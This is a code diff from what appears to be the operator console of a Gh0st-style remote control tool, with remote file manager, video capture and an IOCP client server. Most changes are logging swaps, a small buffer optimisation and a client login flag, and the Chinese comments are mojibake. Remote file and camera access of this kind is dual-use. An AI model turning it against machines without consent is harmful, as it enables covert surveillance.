std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + PWD_HASH256; std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + GetPwdHash();
std::string finalKey = deriveKey(password, m_sDeviceID.GetString()); std::string finalKey = deriveKey(password, m_sDeviceID.GetString());
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") + std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") +
getFixedLengthID(finalKey); getFixedLengthID(finalKey);

View File

@@ -3,12 +3,16 @@
#include <afx.h> #include <afx.h>
#include <afxwin.h> #include <afxwin.h>
#include "Resource.h" #include "Resource.h"
#include "common/commands.h"
// 密码的哈希值 // 密码的哈希值
// 提示请用hashSHA256函数获得密码的哈希值你应该用自己的密码生成哈希值并替换这个默认值. // 提示请用hashSHA256函数获得密码的哈希值你应该用自己的密码生成哈希值并替换这个默认值.
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" #define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
// CPasswordDlg 对话框 // CPasswordDlg 对话框
std::string GetPwdHash();
std::string GetMasterId();
class CPasswordDlg : public CDialogEx class CPasswordDlg : public CDialogEx
{ {

View File

@@ -947,18 +947,18 @@ void CFileManagerDlg::OnReceiveComplete()
} }
catch (CMemoryException* e) catch (CMemoryException* e)
{ {
OutputDebugStringA("[ERROR] CMemoryException\n"); Mprintf("[ERROR] CMemoryException\n");
} }
catch (CFileException* e) catch (CFileException* e)
{ {
OutputDebugStringA("[ERROR] CFileException\n"); Mprintf("[ERROR] CFileException\n");
} }
catch (CException* e) catch (CException* e)
{ {
OutputDebugStringA("[ERROR] CException\n"); Mprintf("[ERROR] CException\n");
} }
catch (...) { catch (...) {
OutputDebugStringA("[ERROR] Other exception\n"); Mprintf("[ERROR] Other exception\n");
} }
break; break;
case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> case TOKEN_FILE_SIZE: // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>

View File

@@ -329,7 +329,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
DWORD IOCPServer::WorkThreadProc(LPVOID lParam) DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
{ {
OutputDebugStringA("======> IOCPServer WorkThreadProc begin \n"); Mprintf("======> IOCPServer WorkThreadProc begin \n");
IOCPServer* This = (IOCPServer*)(lParam); IOCPServer* This = (IOCPServer*)(lParam);
@@ -362,7 +362,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
{ {
ContextObject->olps = NULL; ContextObject->olps = NULL;
OutputDebugStringA("!!! RemoveStaleContext \n"); Mprintf("!!! RemoveStaleContext \n");
This->RemoveStaleContext(ContextObject); This->RemoveStaleContext(ContextObject);
} }
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
@@ -416,7 +416,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
ContextObject = NULL; ContextObject = NULL;
} }
catch (...) { catch (...) {
OutputDebugStringA("This->HandleIO catched an error!!!"); Mprintf("This->HandleIO catched an error!!!");
} }
} }
} }
@@ -432,7 +432,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (n == 0) { if (n == 0) {
Mprintf("======> IOCPServer All WorkThreadProc done\n"); Mprintf("======> IOCPServer All WorkThreadProc done\n");
} }
OutputDebugStringA("======> IOCPServer WorkThreadProc end \n"); Mprintf("======> IOCPServer WorkThreadProc end \n");
return 0; return 0;
} }
@@ -454,7 +454,7 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR
bRet = OnClientPostSending(ContextObject,dwTrans); bRet = OnClientPostSending(ContextObject,dwTrans);
break; break;
case IOIdle: case IOIdle:
OutputDebugStringA("=> HandleIO PacketFlags= IOIdle\n"); Mprintf("=> HandleIO PacketFlags= IOIdle\n");
break; break;
default: default:
break; break;
@@ -512,7 +512,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
ContextObject->Decode(CompressedBuffer, ulOriginalLength); ContextObject->Decode(CompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); m_NotifyProc(ContextObject);
SAFE_DELETE_ARRAY(CompressedBuffer); SAFE_DELETE_ARRAY(CompressedBuffer);
break; continue;
} }
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false; bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false;
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD> PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //<2F><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
@@ -522,7 +522,6 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet)) if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet))
{ {
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
//ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD> m_NotifyProc(ContextObject); //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
@@ -544,7 +543,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
delete [] CompressedBuffer; delete [] CompressedBuffer;
delete [] DeCompressedBuffer; delete [] DeCompressedBuffer;
if (zlibFailed) { if (zlibFailed) {
OutputDebugStringA("[ERROR] ZLIB uncompress failed \n"); Mprintf("[ERROR] ZLIB uncompress failed \n");
throw "Bad Buffer"; throw "Bad Buffer";
} }
}else{ }else{
@@ -553,7 +552,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
} }
}catch(...) }catch(...)
{ {
OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n"); Mprintf("[ERROR] OnClientReceiving catch an error \n");
ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InCompressedBuffer.ClearBuffer();
ContextObject->InDeCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer();
} }
@@ -574,7 +573,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
else { else {
memcpy(buf, szBuffer, ulOriginalLength); memcpy(buf, szBuffer, ulOriginalLength);
} }
OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n"); Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n");
} }
try try
{ {
@@ -582,7 +581,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
{ {
if (ulOriginalLength <= 0) return; if (ulOriginalLength <= 0) return;
if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) { if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
OutputDebugStringA("[ERROR] UNKNOWN compress method \n"); Mprintf("[ERROR] UNKNOWN compress method \n");
return; return;
} }
else if (ContextObject->CompressMethod == COMPRESS_NONE) { else if (ContextObject->CompressMethod == COMPRESS_NONE) {
@@ -596,7 +595,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
unsigned long ulCompressedLength = usingZstd ? unsigned long ulCompressedLength = usingZstd ?
ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12; ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12;
#endif #endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; BYTE buf[1024];
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf;
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
ContextObject->Encode(szBuffer, ulOriginalLength); ContextObject->Encode(szBuffer, ulOriginalLength);
size_t iRet = usingZstd ? size_t iRet = usingZstd ?
@@ -605,15 +605,15 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet)) if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet))
{ {
OutputDebugStringA("[ERROR] compress failed \n"); Mprintf("[ERROR] compress failed \n");
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
return; return;
} }
ulCompressedLength = usingZstd ? iRet : ulCompressedLength; ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength); ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
delete [] CompressedBuffer; if (CompressedBuffer != buf) delete [] CompressedBuffer;
}while (false); }while (false);
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
@@ -621,12 +621,12 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7> if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! OnClientPreSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }
}catch(...){ }catch(...){
OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n"); Mprintf("[ERROR] OnClientPreSending catch an error \n");
} }
} }
@@ -653,13 +653,13 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! OnClientPostSending Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }
} }
}catch(...){ }catch(...){
OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n"); Mprintf("[ERROR] OnClientPostSending catch an error \n");
} }
return FALSE; return FALSE;
@@ -775,7 +775,7 @@ void IOCPServer::OnAccept()
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7> if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! OnAccept Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
return; return;
@@ -800,7 +800,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
{ {
int a = GetLastError(); int a = GetLastError();
OutputDebugStringA("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n"); Mprintf("!!! PostRecv Ͷ<><CDB6><EFBFBD><EFBFBD>Ϣʧ<CFA2><CAA7>\n");
RemoveStaleContext(ContextObject); RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus); SAFE_DELETE(OverlappedPlus);
} }

View File

@@ -185,6 +185,7 @@ typedef struct CONTEXT_OBJECT
void *olps; // OVERLAPPEDPLUS void *olps; // OVERLAPPEDPLUS
int CompressMethod; // ѹ<><D1B9><EFBFBD> int CompressMethod; // ѹ<><D1B9><EFBFBD>
HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD> HeaderParser Parser; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Э<EFBFBD><D0AD>
BOOL bLogin; // <20>Ƿ<EFBFBD> login
VOID InitMember() VOID InitMember()
{ {
@@ -197,6 +198,7 @@ typedef struct CONTEXT_OBJECT
olps = NULL; olps = NULL;
CompressMethod = COMPRESS_ZSTD; CompressMethod = COMPRESS_ZSTD;
Parser.Reset(); Parser.Reset();
bLogin = FALSE;
} }
VOID SetClientInfo(CString s[10]){ VOID SetClientInfo(CString s[10]){
for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++) for (int i=0; i<sizeof(sClientInfo)/sizeof(CString);i++)
@@ -370,7 +372,7 @@ public:
#if TRACK_OVERLAPPEDPLUS #if TRACK_OVERLAPPEDPLUS
char szLog[100]; char szLog[100];
sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog); Mprintf(szLog);
#endif #endif
ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
m_ioType = ioType; m_ioType = ioType;
@@ -381,7 +383,7 @@ public:
#if TRACK_OVERLAPPEDPLUS #if TRACK_OVERLAPPEDPLUS
char szLog[100]; char szLog[100];
sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
OutputDebugStringA(szLog); Mprintf(szLog);
#endif #endif
} }
}; };

View File

@@ -9,7 +9,7 @@
// CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CSystemDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
typedef struct typedef struct ItemData
{ {
DWORD ID; DWORD ID;
CString Data[3]; CString Data[3];

View File

@@ -308,7 +308,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
m_pVideoCodec = new CVideoCodec; m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))
{ {
OutputDebugStringA("======> InitCompressor failed \n"); Mprintf("======> InitCompressor failed \n");
delete m_pVideoCodec; delete m_pVideoCodec;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9> // <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL; m_pVideoCodec = NULL;

Binary file not shown.